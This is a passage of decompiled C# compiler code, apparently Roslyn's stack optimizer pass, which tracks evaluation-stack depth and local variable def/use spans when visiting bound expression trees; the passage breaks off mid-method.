public static BoundNode Analyze(BoundNode node, Dictionary locals, bool debugFriendly) + { + ArrayBuilder<(BoundExpression, ExprContext)> instance = ArrayBuilder<(BoundExpression, ExprContext)>.GetInstance(); + BoundNode result = new StackOptimizerPass1(locals, instance, debugFriendly).Visit(node); + instance.Free(); + return result; + } + + public override BoundNode Visit(BoundNode node) + { + if (node is BoundExpression node2) + { + return VisitExpression(node2, ExprContext.Value); + } + return VisitStatement(node); + } + + private BoundExpression VisitExpressionCore(BoundExpression node, ExprContext context) + { + ExprContext context2 = _context; + int stackDepth = StackDepth(); + _context = context; + BoundExpression result = ((!(node.ConstantValueOpt == (ConstantValue)null)) ? node : (node = (BoundExpression)base.Visit(node))); + _context = context2; + _counter++; + switch (context) + { + case ExprContext.Sideeffects: + SetStackDepth(stackDepth); + break; + case ExprContext.Value: + case ExprContext.Address: + case ExprContext.Box: + SetStackDepth(stackDepth); + PushEvalStack(node, context); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)context); + case ExprContext.AssignmentTarget: + break; + } + return result; + } + + private BoundExpression VisitExpression(BoundExpression node, ExprContext context) + { + _recursionDepth++; + BoundExpression result; + if (_recursionDepth > 1) + { + StackGuard.EnsureSufficientExecutionStack(_recursionDepth); + result = VisitExpressionCore(node, context); + } + else + { + result = VisitExpressionCoreWithStackGuard(node, context); + } + _recursionDepth--; + return result; + } + + private BoundExpression VisitExpressionCoreWithStackGuard(BoundExpression node, ExprContext context) + { + try + { + return VisitExpressionCore(node, context); + } + catch (InsufficientExecutionStackException inner) + { + throw new CancelledByStackGuardException(inner, node); + } + } + + protected override BoundExpression VisitExpressionWithoutStackGuard(BoundExpression node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/CodeGen/Optimizer.cs", 537); + } + + private void PushEvalStack(BoundExpression result, ExprContext context) + { + _evalStack.Add((result, context)); + } + + private int StackDepth() + { + return _evalStack.Count; + } + + private bool EvalStackIsEmpty() + { + return StackDepth() == 0; + } + + private void SetStackDepth(int depth) + { + _evalStack.Clip(depth); + } + + private void PopEvalStack() + { + SetStackDepth(_evalStack.Count - 1); + } + + public BoundNode VisitStatement(BoundNode node) + { + return VisitSideEffect(node); + } + + public BoundNode VisitSideEffect(BoundNode node) + { + int stackDepth = StackDepth(); + ExprContext context = _context; + BoundNode result = base.Visit(node); + if (_debugFriendly) + { + EnsureOnlyEvalStack(); + } + _context = context; + SetStackDepth(stackDepth); + _counter++; + return result; + } + + public override BoundNode VisitConversion(BoundConversion node) + { + ExprContext context = ((_context == ExprContext.Sideeffects && !node.ConversionHasSideEffects()) ? ExprContext.Sideeffects : ExprContext.Value); + return node.UpdateOperand(VisitExpression(node.Operand, context)); + } + + public override BoundNode VisitPassByCopy(BoundPassByCopy node) + { + ExprContext context = ((_context == ExprContext.Sideeffects) ? ExprContext.Sideeffects : ExprContext.Value); + return node.Update(VisitExpression(node.Expression, context), node.Type); + } + + public override BoundNode VisitBlock(BoundBlock node) + { + if (node.Instrumentation != null) + { + DeclareLocal(node.Instrumentation.Local, 0); + } + DeclareLocals(node.Locals, 0); + return base.VisitBlock(node); + } + + public override BoundNode VisitSequence(BoundSequence node) + { + int num = StackDepth(); + ImmutableArray locals = node.Locals; + if (!locals.IsDefaultOrEmpty) + { + if (_context == ExprContext.Sideeffects) + { + ImmutableArray.Enumerator enumerator = locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + if (IsNestedLocalOfCompoundOperator(current, node)) + { + DeclareLocal(current, num + 1); + } + else + { + DeclareLocal(current, num); + } + } + } + else + { + DeclareLocals(locals, num); + } + } + ExprContext context = _context; + ImmutableArray sideEffects = node.SideEffects; + ArrayBuilder val = null; + if (!sideEffects.IsDefault) + { + for (int i = 0; i < sideEffects.Length; i++) + { + BoundExpression boundExpression = sideEffects[i]; + BoundExpression boundExpression2 = VisitExpression(boundExpression, ExprContext.Sideeffects); + if (val == null && boundExpression2 != boundExpression) + { + val = ArrayBuilder.GetInstance(); + val.AddRange(sideEffects, i); + } + val?.Add(boundExpression2); + } + } + BoundExpression value = VisitExpression(node.Value, context); + return node.Update(node.Locals, val?.ToImmutableAndFree() ?? sideEffects, value, node.Type); + } + + private bool IsNestedLocalOfCompoundOperator(LocalSymbol local, BoundSequence node) + { + BoundExpression value = node.Value; + if (value != null && value.Kind == BoundKind.Local && ((BoundLocal)value).LocalSymbol == local) + { + ImmutableArray sideEffects = node.SideEffects; + BoundExpression boundExpression = sideEffects.LastOrDefault(); + if (boundExpression != null && boundExpression.Kind == BoundKind.AssignmentOperator) + { + BoundAssignmentOperator boundAssignmentOperator = (BoundAssignmentOperator)boundExpression; + if (IsIndirectOrInstanceFieldAssignment(boundAssignmentOperator) && boundAssignmentOperator.Right.Kind == BoundKind.Sequence) + { + LocalUsedWalker localUsedWalker = new LocalUsedWalker(local, _recursionDepth); + for (int i = 0; i < sideEffects.Length - 1; i++) + { + if (localUsedWalker.IsLocalUsedIn(sideEffects[i])) + { + return false; + } + } + if (localUsedWalker.IsLocalUsedIn(boundAssignmentOperator.Left)) + { + return false; + } + return true; + } + } + } + return false; + } + + public override BoundNode VisitExpressionStatement(BoundExpressionStatement node) + { + return node.Update(VisitExpression(node.Expression, ExprContext.Sideeffects)); + } + + public override BoundNode VisitLocal(BoundLocal node) + { + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + if (node.ConstantValueOpt == (ConstantValue)null) + { + switch (_context) + { + case ExprContext.Address: + if ((int)node.LocalSymbol.RefKind != 0) + { + RecordVarRead(node.LocalSymbol); + } + else + { + RecordVarRef(node.LocalSymbol); + } + break; + case ExprContext.AssignmentTarget: + _assignmentLocal = node; + break; + case ExprContext.Sideeffects: + if ((int)node.LocalSymbol.RefKind != 0) + { + RecordVarRead(node.LocalSymbol); + } + break; + case ExprContext.Value: + case ExprContext.Box: + RecordVarRead(node.LocalSymbol); + break; + } + } + return base.VisitLocal(node); + } + + public override BoundNode VisitAssignmentOperator(BoundAssignmentOperator node) + { + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Unknown result type (might be due to invalid IL or missing references) + //IL_011e: Unknown result type (might be due to invalid IL or missing references) + //IL_0121: Invalid comparison between Unknown and I4 + //IL_0123: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Invalid comparison between Unknown and I4 + if (node.Left is BoundSequence boundSequence) + { + BoundExpression node2 = boundSequence.Update(boundSequence.Locals, boundSequence.SideEffects, node.Update(boundSequence.Value, node.Right, node.IsRef, node.Type), boundSequence.Type); + node2 = (BoundExpression)Visit(node2); + _counter--; + return node2; + } + bool flag = IsIndirectAssignment(node); + BoundExpression left = VisitExpression(node.Left, flag ? ExprContext.Address : ExprContext.AssignmentTarget); + BoundLocal assignmentLocal = _assignmentLocal; + _assignmentLocal = null; + ExprContext context = ((!node.IsRef && _context != ExprContext.Address) ? ExprContext.Value : ExprContext.Address); + BoundExpression right = node.Right; + int num; + if (right.Kind == BoundKind.ObjectCreationExpression && right.Type.IsVerifierValue()) + { + num = ((((BoundObjectCreationExpression)right).Constructor.ParameterCount != 0) ? 1 : 0); + if (num != 0) + { + PushEvalStack(null, ExprContext.None); + } + } + else + { + num = 0; + } + right = VisitExpression(node.Right, context); + if (num != 0) + { + PopEvalStack(); + } + if (assignmentLocal != null) + { + LocalSymbol localSymbol = assignmentLocal.LocalSymbol; + RefKind refKind = localSymbol.RefKind; + bool flag2 = (((int)refKind == 3 || (int)refKind == 5) ? true : false); + if (flag2 && (_context == ExprContext.Address || _context == ExprContext.Value)) + { + ShouldNotSchedule(localSymbol); + } + if (CanScheduleToStack(localSymbol) && assignmentLocal.Type.IsPointerOrFunctionPointer() && right.Kind == BoundKind.Conversion && ((BoundConversion)right).ConversionKind.IsPointerConversion()) + { + ShouldNotSchedule(localSymbol); + } + RecordVarWrite(localSymbol); + assignmentLocal = null; + } + return node.Update(left, right, node.IsRef, node.Type); + } + + internal static bool IsFixedBufferAssignmentToRefLocal(BoundExpression left, BoundExpression right, bool isRef) + { + if (isRef && right is BoundFieldAccess boundFieldAccess && boundFieldAccess.FieldSymbol.IsFixedSizeBuffer) + { + return left.Type.Equals(((PointerTypeSymbol)right.Type).PointedAtType, (TypeCompareKind)63); + } + return false; + } + + private static bool IsIndirectAssignment(BoundAssignmentOperator node) + { + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + BoundExpression left = node.Left; + switch (left.Kind) + { + case BoundKind.ThisReference: + return true; + case BoundKind.Parameter: + if ((int)((BoundParameter)left).ParameterSymbol.RefKind != 0) + { + return !node.IsRef; + } + return false; + case BoundKind.Local: + if ((int)((BoundLocal)left).LocalSymbol.RefKind != 0) + { + return !node.IsRef; + } + return false; + case BoundKind.Call: + return true; + case BoundKind.FunctionPointerInvocation: + return true; + case BoundKind.ConditionalOperator: + return true; + case BoundKind.AssignmentOperator: + return true; + case BoundKind.Sequence: + return false; + case BoundKind.PointerIndirectionOperator: + case BoundKind.RefValueOperator: + case BoundKind.PseudoVariable: + return true; + case BoundKind.ArrayAccess: + case BoundKind.InstrumentationPayloadRoot: + case BoundKind.ModuleVersionId: + case BoundKind.FieldAccess: + return false; + default: + throw ExceptionUtilities.UnexpectedValue((object)left.Kind); + } + } + + private static bool IsIndirectOrInstanceFieldAssignment(BoundAssignmentOperator node) + { + BoundExpression left = node.Left; + if (left.Kind == BoundKind.FieldAccess) + { + return !((BoundFieldAccess)left).FieldSymbol.IsStatic; + } + return IsIndirectAssignment(node); + } + + public override BoundNode VisitCall(BoundCall node) + { + if (node.ReceiverOpt is BoundCall boundCall) + { + int stackDepth = StackDepth(); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, node); + node = boundCall; + while (node.ReceiverOpt is BoundCall boundCall2) + { + ArrayBuilderExtensions.Push(instance, node); + node = boundCall2; + } + BoundExpression boundExpression = visitReceiver(node); + while (true) + { + boundExpression = visitArgumentsAndUpdateCall(node, boundExpression); + BoundCall boundCall3 = node; + if (!ArrayBuilderExtensions.TryPop(instance, ref node)) + { + break; + } + CheckCallReceiver(boundCall3, node); + _counter++; + SetStackDepth(stackDepth); + PushEvalStack(boundCall3, GetReceiverContext(boundCall3)); + } + instance.Free(); + return boundExpression; + } + BoundExpression receiver = visitReceiver(node); + return visitArgumentsAndUpdateCall(node, receiver); + BoundCall visitArgumentsAndUpdateCall(BoundCall boundCall4, BoundExpression receiverOpt) + { + ImmutableArray arguments = VisitArguments(boundCall4.Arguments, boundCall4.Method.Parameters, boundCall4.ArgumentRefKindsOpt); + return boundCall4.Update(receiverOpt, (ThreeState)0, boundCall4.Method, arguments); + } + BoundExpression visitReceiver(BoundCall boundCall4) + { + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Invalid comparison between Unknown and I4 + BoundExpression receiverOpt = boundCall4.ReceiverOpt; + MethodSymbol method = boundCall4.Method; + if (method.RequiresInstanceReceiver) + { + return VisitCallOrConditionalAccessReceiver(receiverOpt, boundCall4); + } + _counter++; + if ((method.IsAbstract || method.IsVirtual) && receiverOpt is BoundTypeExpression boundTypeExpression) + { + TypeSymbol type = boundTypeExpression.Type; + if ((object)type != null && (int)type.TypeKind == 11) + { + return boundTypeExpression.Update(null, null, ImmutableArray.Empty, boundTypeExpression.TypeWithAnnotations, VisitType(boundTypeExpression.Type)); + } + } + return null; + } + } + + private BoundExpression VisitCallOrConditionalAccessReceiver(BoundExpression receiver, BoundCall callOpt) + { + _ = receiver.Type; + if (callOpt != null) + { + CheckCallReceiver(receiver, callOpt); + } + ExprContext receiverContext = GetReceiverContext(receiver); + receiver = VisitExpression(receiver, receiverContext); + return receiver; + } + + private void CheckCallReceiver(BoundExpression receiver, BoundCall call) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Invalid comparison between Unknown and I4 + if (!CodeGenerator.IsRef(receiver) || !CodeGenerator.IsPossibleReferenceTypeReceiverOfConstrainedCall(receiver) || CodeGenerator.IsSafeToDereferenceReceiverRefAfterEvaluatingArguments(call.Arguments)) + { + return; + } + BoundExpression boundExpression; + for (boundExpression = receiver; boundExpression is BoundSequence boundSequence; boundExpression = boundSequence.Value) + { + } + if (boundExpression is BoundLocal boundLocal) + { + LocalSymbol localSymbol = boundLocal.LocalSymbol; + if ((object)localSymbol != null && (int)localSymbol.RefKind != 0) + { + ShouldNotSchedule(localSymbol); + } + } + } + + private static ExprContext GetReceiverContext(BoundExpression receiver) + { + TypeSymbol type = receiver.Type; + if (type.IsReferenceType) + { + if (type.IsTypeParameter()) + { + return ExprContext.Box; + } + return ExprContext.Value; + } + return ExprContext.Address; + } + + private ImmutableArray VisitArguments(ImmutableArray arguments, ImmutableArray parameters, ImmutableArray argRefKindsOpt) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder rewrittenArguments = null; + for (int i = 0; i < arguments.Length; i++) + { + RefKind argumentRefKind = CodeGenerator.GetArgumentRefKind(arguments, parameters, argRefKindsOpt, i); + VisitArgument(arguments, ref rewrittenArguments, i, argumentRefKind); + } + return rewrittenArguments?.ToImmutableAndFree() ?? arguments; + } + + private void VisitArgument(ImmutableArray arguments, ref ArrayBuilder rewrittenArguments, int i, RefKind argRefKind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + ExprContext context = (((int)argRefKind == 0) ? ExprContext.Value : ExprContext.Address); + BoundExpression boundExpression = arguments[i]; + BoundExpression boundExpression2 = VisitExpression(boundExpression, context); + if (rewrittenArguments == null && boundExpression != boundExpression2) + { + rewrittenArguments = ArrayBuilder.GetInstance(); + rewrittenArguments.AddRange(arguments, i); + } + if (rewrittenArguments != null) + { + rewrittenArguments.Add(boundExpression2); + } + } + + public override BoundNode VisitArgListOperator(BoundArgListOperator node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder rewrittenArguments = null; + ImmutableArray arguments = node.Arguments; + ImmutableArray argumentRefKindsOpt = node.ArgumentRefKindsOpt; + for (int i = 0; i < arguments.Length; i++) + { + RefKind argRefKind = (RefKind)((!argumentRefKindsOpt.IsDefaultOrEmpty) ? ((int)argumentRefKindsOpt[i]) : 0); + VisitArgument(arguments, ref rewrittenArguments, i, argRefKind); + } + return node.Update(rewrittenArguments?.ToImmutableAndFree() ?? arguments, argumentRefKindsOpt, node.Type); + } + + public override BoundNode VisitMakeRefOperator(BoundMakeRefOperator node) + { + BoundExpression operand = VisitExpression(node.Operand, ExprContext.Address); + return node.Update(operand, node.Type); + } + + public override BoundNode VisitObjectCreationExpression(BoundObjectCreationExpression node) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol constructor = node.Constructor; + ImmutableArray arguments = VisitArguments(node.Arguments, constructor.Parameters, node.ArgumentRefKindsOpt); + return node.Update(constructor, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.ConstantValueOpt, null, node.Type); + } + + public override BoundNode VisitArrayAccess(BoundArrayAccess node) + { + ExprContext context = _context; + _context = ExprContext.Value; + BoundNode? result = base.VisitArrayAccess(node); + _context = context; + return result; + } + + public override BoundNode VisitFieldAccess(BoundFieldAccess node) + { + FieldSymbol fieldSymbol = node.FieldSymbol; + BoundExpression receiverOpt = node.ReceiverOpt; + if (!fieldSymbol.IsStatic) + { + receiverOpt = (receiverOpt.Type.IsTypeParameter() ? VisitExpression(receiverOpt, ExprContext.Box) : ((!receiverOpt.Type.IsValueType || (_context != ExprContext.AssignmentTarget && _context != ExprContext.Address && !CodeGenerator.FieldLoadMustUseRef(receiverOpt))) ? VisitExpression(receiverOpt, ExprContext.Value) : VisitExpression(receiverOpt, ExprContext.Address))); + } + else + { + _counter++; + receiverOpt = null; + } + return node.Update(receiverOpt, fieldSymbol, node.ConstantValueOpt, node.ResultKind, node.Type); + } + + public override BoundNode VisitLabelStatement(BoundLabelStatement node) + { + RecordLabel(node.Label); + return base.VisitLabelStatement(node); + } + + public override BoundNode VisitLabel(BoundLabel node) + { + return node; + } + + public override BoundNode VisitIsPatternExpression(BoundIsPatternExpression node) + { + return node; + } + + public override BoundNode VisitGotoStatement(BoundGotoStatement node) + { + BoundNode? result = base.VisitGotoStatement(node); + RecordBranch(node.Label); + return result; + } + + public override BoundNode VisitConditionalGoto(BoundConditionalGoto node) + { + BoundNode? result = base.VisitConditionalGoto(node); + PopEvalStack(); + RecordBranch(node.Label); + return result; + } + + public override BoundNode VisitSwitchDispatch(BoundSwitchDispatch node) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expression = node.Expression; + if (expression.Kind == BoundKind.Local) + { + LocalSymbol localSymbol = ((BoundLocal)expression).LocalSymbol; + if ((int)localSymbol.RefKind == 0) + { + ShouldNotSchedule(localSymbol); + } + } + expression = (BoundExpression)Visit(expression); + PopEvalStack(); + EnsureOnlyEvalStack(); + RecordBranch(node.DefaultLabel); + ImmutableArray<(ConstantValue, LabelSymbol)>.Enumerator enumerator = node.Cases.GetEnumerator(); + while (enumerator.MoveNext()) + { + LabelSymbol item = enumerator.Current.Item2; + RecordBranch(item); + } + return node.Update(expression, node.Cases, node.DefaultLabel, node.LengthBasedStringSwitchDataOpt); + } + + public override BoundNode VisitConditionalOperator(BoundConditionalOperator node) + { + int stackDepth = StackDepth(); + BoundExpression condition = VisitExpression(node.Condition, ExprContext.Value); + object stackStateCookie = GetStackStateCookie(); + ExprContext context = (node.IsRef ? ExprContext.Address : ExprContext.Value); + SetStackDepth(stackDepth); + BoundExpression consequence = VisitExpression(node.Consequence, context); + EnsureStackState(stackStateCookie); + SetStackDepth(stackDepth); + BoundExpression alternative = VisitExpression(node.Alternative, context); + EnsureStackState(stackStateCookie); + return node.Update(node.IsRef, condition, consequence, alternative, node.ConstantValueOpt, node.NaturalTypeOpt, node.WasCompilerGenerated, node.Type); + } + + public override BoundNode VisitBinaryOperator(BoundBinaryOperator node) + { + BoundExpression left = node.Left; + if (left.Kind != BoundKind.BinaryOperator || left.ConstantValueOpt != (ConstantValue)null) + { + return VisitBinaryOperatorSimple(node); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, node); + BoundBinaryOperator boundBinaryOperator = (BoundBinaryOperator)left; + while (true) + { + ArrayBuilderExtensions.Push(instance, boundBinaryOperator); + left = boundBinaryOperator.Left; + if (left.Kind != BoundKind.BinaryOperator || left.ConstantValueOpt != (ConstantValue)null) + { + break; + } + boundBinaryOperator = (BoundBinaryOperator)left; + } + ExprContext context = _context; + int stackDepth = StackDepth(); + BoundExpression boundExpression = (BoundExpression)Visit(left); + while (true) + { + boundBinaryOperator = ArrayBuilderExtensions.Pop(instance); + bool num = (boundBinaryOperator.OperatorKind & BinaryOperatorKind.Logical) != 0; + object cookie = null; + if (num) + { + cookie = GetStackStateCookie(); + SetStackDepth(stackDepth); + } + BoundExpression right = (BoundExpression)Visit(boundBinaryOperator.Right); + if (num) + { + EnsureStackState(cookie); + } + TypeSymbol type = VisitType(boundBinaryOperator.Type); + boundExpression = boundBinaryOperator.Update(boundBinaryOperator.OperatorKind, boundBinaryOperator.ConstantValueOpt, boundBinaryOperator.Method, boundBinaryOperator.ConstrainedToType, boundBinaryOperator.ResultKind, boundExpression, right, type); + if (instance.Count == 0) + { + break; + } + _context = context; + _counter++; + SetStackDepth(stackDepth); + PushEvalStack(boundBinaryOperator, ExprContext.Value); + } + instance.Free(); + return boundExpression; + } + + private BoundNode VisitBinaryOperatorSimple(BoundBinaryOperator node) + { + if ((node.OperatorKind & BinaryOperatorKind.Logical) != BinaryOperatorKind.Error) + { + int stackDepth = StackDepth(); + BoundExpression left = (BoundExpression)Visit(node.Left); + object stackStateCookie = GetStackStateCookie(); + SetStackDepth(stackDepth); + BoundExpression right = (BoundExpression)Visit(node.Right); + EnsureStackState(stackStateCookie); + return node.Update(node.OperatorKind, node.ConstantValueOpt, node.Method, node.ConstrainedToType, node.ResultKind, left, right, node.Type); + } + return base.VisitBinaryOperator(node); + } + + public override BoundNode VisitNullCoalescingOperator(BoundNullCoalescingOperator node) + { + int stackDepth = StackDepth(); + BoundExpression leftOperand = (BoundExpression)Visit(node.LeftOperand); + object stackStateCookie = GetStackStateCookie(); + SetStackDepth(stackDepth); + BoundExpression rightOperand = (BoundExpression)Visit(node.RightOperand); + EnsureStackState(stackStateCookie); + return node.Update(leftOperand, rightOperand, node.LeftPlaceholder, node.LeftConversion, node.OperatorResultKind, node.Checked, node.Type); + } + + public override BoundNode VisitLoweredConditionalAccess(BoundLoweredConditionalAccess node) + { + int stackDepth = StackDepth(); + BoundExpression receiver = VisitCallOrConditionalAccessReceiver(node.Receiver, null); + object stackStateCookie = GetStackStateCookie(); + SetStackDepth(stackDepth); + BoundExpression whenNotNull = (BoundExpression)Visit(node.WhenNotNull); + EnsureStackState(stackStateCookie); + BoundExpression boundExpression = node.WhenNullOpt; + if (boundExpression != null) + { + SetStackDepth(stackDepth); + boundExpression = (BoundExpression)Visit(boundExpression); + EnsureStackState(stackStateCookie); + } + else + { + _counter++; + } + return node.Update(receiver, node.HasValueMethodOpt, whenNotNull, boundExpression, node.Id, node.ForceCopyOfNullableValueType, node.Type); + } + + public override BoundNode VisitComplexConditionalReceiver(BoundComplexConditionalReceiver node) + { + EnsureOnlyEvalStack(); + int stackDepth = StackDepth(); + PushEvalStack(null, ExprContext.None); + object stackStateCookie = GetStackStateCookie(); + SetStackDepth(stackDepth); + BoundExpression valueTypeReceiver = (BoundExpression)Visit(node.ValueTypeReceiver); + EnsureStackState(stackStateCookie); + SetStackDepth(stackDepth); + BoundExpression boundExpression; + for (boundExpression = node.ReferenceTypeReceiver; boundExpression is BoundSequence boundSequence; boundExpression = boundSequence.Value) + { + } + if (boundExpression is BoundLocal boundLocal) + { + LocalSymbol localSymbol = boundLocal.LocalSymbol; + if ((object)localSymbol != null) + { + ShouldNotSchedule(localSymbol); + } + } + BoundExpression referenceTypeReceiver = (BoundExpression)Visit(node.ReferenceTypeReceiver); + EnsureStackState(stackStateCookie); + return node.Update(valueTypeReceiver, referenceTypeReceiver, node.Type); + } + + public override BoundNode VisitUnaryOperator(BoundUnaryOperator node) + { + if (node.OperatorKind.IsChecked() && node.OperatorKind.Operator() == UnaryOperatorKind.UnaryMinus) + { + StackDepth(); + PushEvalStack(new BoundDefaultExpression(node.Syntax, node.Operand.Type), ExprContext.Value); + BoundExpression operand = (BoundExpression)Visit(node.Operand); + return node.Update(node.OperatorKind, operand, node.ConstantValueOpt, node.MethodOpt, node.ConstrainedToTypeOpt, node.ResultKind, node.Type); + } + return base.VisitUnaryOperator(node); + } + + public override BoundNode VisitTryStatement(BoundTryStatement node) + { + EnsureOnlyEvalStack(); + BoundBlock tryBlock = (BoundBlock)Visit(node.TryBlock); + ImmutableArray catchBlocks = VisitList(node.CatchBlocks); + EnsureOnlyEvalStack(); + BoundBlock finallyBlockOpt = (BoundBlock)Visit(node.FinallyBlockOpt); + EnsureOnlyEvalStack(); + return node.Update(tryBlock, catchBlocks, finallyBlockOpt, node.FinallyLabelOpt, node.PreferFaultHandler); + } + + public override BoundNode VisitCatchBlock(BoundCatchBlock node) + { + EnsureOnlyEvalStack(); + BoundExpression boundExpression = node.ExceptionSourceOpt; + DeclareLocals(node.Locals, 0); + if (boundExpression != null) + { + PushEvalStack(null, ExprContext.None); + _counter++; + if (boundExpression.Kind == BoundKind.Local) + { + RecordVarWrite(((BoundLocal)boundExpression).LocalSymbol); + } + else + { + int stackDepth = StackDepth(); + boundExpression = VisitExpression(boundExpression, ExprContext.AssignmentTarget); + _assignmentLocal = null; + SetStackDepth(stackDepth); + } + PopEvalStack(); + _counter++; + } + BoundStatementList exceptionFilterPrologueOpt; + if (node.ExceptionFilterPrologueOpt != null) + { + EnsureOnlyEvalStack(); + exceptionFilterPrologueOpt = (BoundStatementList)Visit(node.ExceptionFilterPrologueOpt); + } + else + { + exceptionFilterPrologueOpt = null; + } + BoundExpression exceptionFilterOpt; + if (node.ExceptionFilterOpt != null) + { + exceptionFilterOpt = (BoundExpression)Visit(node.ExceptionFilterOpt); + PopEvalStack(); + _counter++; + EnsureOnlyEvalStack(); + } + else + { + exceptionFilterOpt = null; + } + BoundBlock body = (BoundBlock)Visit(node.Body); + TypeSymbol exceptionTypeOpt = VisitType(node.ExceptionTypeOpt); + return node.Update(node.Locals, boundExpression, exceptionTypeOpt, exceptionFilterPrologueOpt, exceptionFilterOpt, body, node.IsSynthesizedAsyncCatchAll); + } + + public override BoundNode VisitConvertedStackAllocExpression(BoundConvertedStackAllocExpression node) + { + EnsureOnlyEvalStack(); + return base.VisitConvertedStackAllocExpression(node); + } + + public override BoundNode VisitArrayInitialization(BoundArrayInitialization node) + { + EnsureOnlyEvalStack(); + ImmutableArray initializers = node.Initializers; + ArrayBuilder val = null; + if (!initializers.IsDefault) + { + for (int i = 0; i < initializers.Length; i++) + { + EnsureOnlyEvalStack(); + BoundExpression boundExpression = initializers[i]; + BoundExpression boundExpression2 = VisitExpression(boundExpression, ExprContext.Value); + if (val == null && boundExpression2 != boundExpression) + { + val = ArrayBuilder.GetInstance(); + val.AddRange(initializers, i); + } + val?.Add(boundExpression2); + } + } + return node.Update(val?.ToImmutableAndFree() ?? initializers); + } + + public override BoundNode VisitAddressOfOperator(BoundAddressOfOperator node) + { + BoundExpression operand = VisitExpression(node.Operand, ExprContext.Address); + return node.Update(operand, node.IsManaged, node.Type); + } + + public override BoundNode VisitReturnStatement(BoundReturnStatement node) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expressionOpt = (BoundExpression)Visit(node.ExpressionOpt); + EnsureOnlyEvalStack(); + return node.Update(node.RefKind, expressionOpt, node.Checked); + } + + private void EnsureOnlyEvalStack() + { + RecordVarRead(empty); + } + + private object GetStackStateCookie() + { + DummyLocal dummyLocal = new DummyLocal(); + _dummyVariables.Add((object)dummyLocal, dummyLocal); + _locals.Add(dummyLocal, LocalDefUseInfo.GetInstance(StackDepth())); + RecordDummyWrite(dummyLocal); + return dummyLocal; + } + + private void EnsureStackState(object cookie) + { + RecordVarRead(_dummyVariables[cookie]); + } + + private void RecordBranch(LabelSymbol label) + { + DummyLocal local = default(DummyLocal); + if (_dummyVariables.TryGetValue((object)label, ref local)) + { + RecordVarRead(local); + return; + } + local = new DummyLocal(); + _dummyVariables.Add((object)label, local); + _locals.Add(local, LocalDefUseInfo.GetInstance(StackDepth())); + RecordDummyWrite(local); + } + + private void RecordLabel(LabelSymbol label) + { + DummyLocal local = default(DummyLocal); + if (_dummyVariables.TryGetValue((object)label, ref local)) + { + RecordVarRead(local); + return; + } + local = empty; + _dummyVariables.Add((object)label, local); + RecordVarRead(local); + } + + private void ShouldNotSchedule(LocalSymbol localSymbol) + { + if (_locals.TryGetValue(localSymbol, out var value)) + { + value.ShouldNotSchedule(); + } + } + + private void RecordVarRef(LocalSymbol local) + { + if (CanScheduleToStack(local)) + { + ShouldNotSchedule(local); + } + } + + private void RecordVarRead(LocalSymbol local) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Invalid comparison between Unknown and I4 + if (!CanScheduleToStack(local)) + { + return; + } + LocalDefUseInfo localDefUseInfo = _locals[local]; + if (!localDefUseInfo.CannotSchedule) + { + ArrayBuilder localDefs = localDefUseInfo.LocalDefs; + if (localDefs.Count == 0) + { + localDefUseInfo.ShouldNotSchedule(); + return; + } + if ((int)local.SynthesizedKind != -3 && localDefUseInfo.StackAtDeclaration != StackDepth() && !EvalStackHasLocal(local)) + { + localDefUseInfo.ShouldNotSchedule(); + return; + } + int num = localDefs.Count - 1; + localDefs[num] = localDefs[num].WithEnd(_counter); + LocalDefUseSpan localDefUseSpan = new LocalDefUseSpan(_counter); + localDefs.Add(localDefUseSpan); + } + } + + private bool EvalStackHasLocal(LocalSymbol local) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + (BoundExpression, ExprContext) tuple = _evalStack.Last(); + if (tuple.Item2 == (ExprContext)(((int)local.RefKind == 0) ? 2 : 3) && tuple.Item1.Kind == BoundKind.Local) + { + return ((BoundLocal)tuple.Item1).LocalSymbol == local; + } + return false; + } + + private void RecordDummyWrite(LocalSymbol local) + { + LocalDefUseInfo localDefUseInfo = _locals[local]; + LocalDefUseSpan localDefUseSpan = new LocalDefUseSpan(_counter); + localDefUseInfo.LocalDefs.Add(localDefUseSpan); + } + + private void RecordVarWrite(LocalSymbol local) + { + if (!CanScheduleToStack(local)) + { + return; + } + LocalDefUseInfo localDefUseInfo = _locals[local]; + if (!localDefUseInfo.CannotSchedule) + { + int num = StackDepth() - 1; + if (localDefUseInfo.StackAtDeclaration != num) + { + localDefUseInfo.ShouldNotSchedule(); + return; + } + LocalDefUseSpan localDefUseSpan = new LocalDefUseSpan(_counter); + localDefUseInfo.LocalDefs.Add(localDefUseSpan); + } + } + + private bool CanScheduleToStack(LocalSymbol local) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (local.CanScheduleToStack) + { + if (_debugFriendly) + { + return !SynthesizedLocalKindExtensions.IsLongLived(local.SynthesizedKind); + } + return true; + } + return false; + } + + private void DeclareLocals(ImmutableArray locals, int stack) + { + ImmutableArray.Enumerator enumerator = locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = 